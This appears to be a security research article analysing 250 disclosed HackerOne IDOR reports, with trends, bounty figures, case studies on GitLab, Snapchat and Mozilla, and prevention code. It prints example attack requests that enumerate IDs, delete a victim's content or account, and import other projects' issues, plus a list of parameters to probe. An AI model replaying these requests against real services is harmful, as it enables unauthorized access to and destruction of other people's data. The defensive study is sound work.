IDOR in the Wild: A Comprehensive Analysis of 250 Real-World Vulnerabilities

🔍 Executive Summary

Insecure Direct Object Reference (IDOR) remains the single most persistent authorization vulnerability in modern web applications. Through analysis of 250 disclosed IDOR reports from HackerOne spanning 2017–2025, this study reveals that IDOR is neither rare nor declining — it peaked at 50 reports in 2022 alone and continues at a rate of 30+ reports per year.

Our analysis exposes an uncomfortable truth: despite being conceptually simple (change an ID, access someone else's data), IDOR vulnerabilities have resulted in $129,408+ in disclosed bounties, with individual reports reaching $20,000. The real-world consequences go far beyond numbers — from deleting any Snapchat creator's monetized content ($15,000) to stealing private GitLab projects including CI/CD secrets ($20,000) to adding unauthorized users to PayPal business accounts ($10,500).

What makes IDOR uniquely dangerous is its simplicity-to-impact ratio: a single parameter change can compromise an entire platform's authorization model. And unlike memory corruption or injection attacks, automated scanners rarely detect IDORs — they hide in business logic, waiting for a human to notice that user_id=1234 can become user_id=1235.

🎯 What is IDOR?

Insecure Direct Object Reference occurs when applications expose direct references to internal objects (database IDs, file paths, user identifiers) without verifying that the requesting user is authorized to access them. Unlike complex exploitation chains, IDOR is often trivially exploitable — change a number, access someone else's data.

# Your own profile
GET /api/users/1234/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN

# Attacker changes ID → accesses someone else's data
GET /api/users/1235/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
# Server returns victim's full profile — no ownership check

📊 Analysis Methodology

This study examines 250 disclosed IDOR reports from HackerOne's Hacktivity, focusing on:

🔥 Key Findings

1. Severity Distribution — IDOR Hits Harder Than You Think

2. Temporal Trends — IDOR Peaked in 2022, Still Strong

3. Most Targeted Programs

🔬 Attack Pattern Deep Dive

# Original request — your booking
GET /api/v1/bookings/8847?token=abc123

# Attacker increments booking_id
GET /api/v1/bookings/8848?token=abc123
# Returns: victim name, phone, address, trip

POST /v1/account/destroy HTTP/1.1
Authorization: Bearer [ATTACKER_TOKEN]
Content-Type: application/json

{
  "email": "victim@example.com",
  "authPW": "deterministic_for_sso_users"
}

mutation DeleteStorySnaps {
  deleteStorySnaps(
    ids: ["VICTIM_SNAP_ID"],
    storyType: SPOTLIGHT_STORY
  )
}
# Server deletes victim's monetized content
# No ownership check on snap ID

GET /Download.aspx?id=4675 HTTP/1.1
# Returns: military personnel document

GET /Download.aspx?id=4676 HTTP/1.1
# Returns: next document in sequence
# No authorization check on file ownership

// Crafted project.json inside tarball
{
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [99999]
}
// Import → steals issues from other projects

🔥 Case Study Spotlight #1: GitLab Project Import → $20,000

{
  "description": "Attacker's project",
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [12345678],
  "merge_requests": []
}

🔥 Case Study Spotlight #2: Snapchat Spotlight → $15,000

POST /graphql HTTP/1.1
Content-Type: application/json
Cookie: [ATTACKER_SESSION]

{
  "operationName": "DeleteStorySnaps",
  "variables": {
    "ids": ["VICTIM_SPOTLIGHT_VIDEO_ID"],
    "storyType": "SPOTLIGHT_STORY"
  },
  "query": "mutation DeleteStorySnaps($ids: [String!]!, $storyType: StoryType!) {
    deleteStorySnaps(ids: $ids, storyType: $storyType)
  }"
}

🔥 Case Study Spotlight #3: Mozilla Firefox → $6,000 (The Escalation Story)

POST /v1/account/destroy HTTP/1.1
Authorization: Bearer [ATTACKER_SESSION_TOKEN]
Content-Type: application/json

{
  "email": "victim@example.com",
  "authPW": "42b4c2940fe2efecce851a2d8e9754d0f1cb1d37..."
}

⚔️ The IDOR Kill Chain

🧱 Root Causes Analysis

# VULNERABLE — authenticates but doesn't authorize
@require_authentication
def get_booking(booking_id):
    return database.get_booking_by_id(booking_id)  # No ownership check!

# SECURE — authenticates AND authorizes
@require_authentication
def get_booking(booking_id, current_user):
    booking = database.get_booking_by_id(booking_id)
    if booking.user_id != current_user.id:
        raise PermissionDenied("Not your booking")
    return booking

// VULNERABLE — Sequential IDs are trivially enumerable
const orderId = 1001; // Next order = 1002, 1003...

// BETTER — UUIDs prevent enumeration (but still need ownership checks!)
const orderId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
// UUIDs are NOT a replacement for authorization — they're defense-in-depth

# SECURE endpoint — validates ownership
GET /api/users/profile  ✓ Checks session ownership

# VULNERABLE endpoint — same resource, different path
GET /api/users/{id}/orders  ✗ Missing validation
GET /bugs.json?org_id={id}  ✗ Search endpoint forgotten

// VULNERABLE — Client-side check only
if (currentUser.id === resourceOwnerId) {
    showDeleteButton(); // Hidden ≠ Protected
}
// The API DELETE endpoint has no check at all
// Burp Suite bypasses this entirely

🏭 Industry Impact Analysis

💰 Financial Impact Analysis

🛡️ Prevention Strategies

# Authorization middleware — ALL routes go through this
class OwnershipMiddleware:
    def process_request(self, request, resource_type, resource_id):
        resource = get_resource(resource_type, resource_id)
        if resource.owner_id != request.user.id:
            if not request.user.has_role('admin'):
                raise PermissionDenied(
                    f"User {request.user.id} cannot access "
                    f"{resource_type}/{resource_id}"
                )
        # Audit log every access
        audit_log(request.user.id, resource_type, resource_id, 'access')

# VULNERABLE — fetches any booking then checks
booking = Booking.objects.get(id=booking_id)
if booking.user != request.user: raise PermissionDenied()

# SECURE — query is scoped from the start
booking = Booking.objects.get(id=booking_id, user=request.user)
# If user doesn't own it → DoesNotExist → 404
# No IDOR possible — the query itself enforces ownership

# Policy definition
resource: booking
actions: [read, update, delete]
rules:
  - condition: resource.user_id == request.user.id
    effect: allow
  - condition: request.user.role == 'admin'
    effect: allow
  - default: deny

🧪 Bug Hunter Methodology

# High-value parameter names to test
user_id, id, uid, user, profile_id, account_id, member_id
booking_id, order_id, transaction_id, payment_id, invoice_id
document_id, file_id, attachment_id, media_id, asset_id
project_id, org_id, team_id, workspace_id, tenant_id
report_id, ticket_id, case_id, issue_id, request_id
comment_id, note_id, message_id, thread_id, conversation_id
certification_id, license_id, credential_id, badge_id

# GraphQL-specific patterns
node(id: "base64_encoded_global_id")
mutation { deleteResource(id: "VICTIM_ID") }
query { user(id: VICTIM_INT) { privateField } }

# Encoded ID patterns to decode
base64: eyJ1c2VyX2lkIjoxMjM0fQ==  → {"user_id": 1234}
hex: 0x4D2  → 1234
uuid: check if sequential or truly random

👥 Researcher & Geographic Patterns

🔮 Future Trends and Emerging Threats

🏢 Recommendations for Organizations

🎯 Conclusion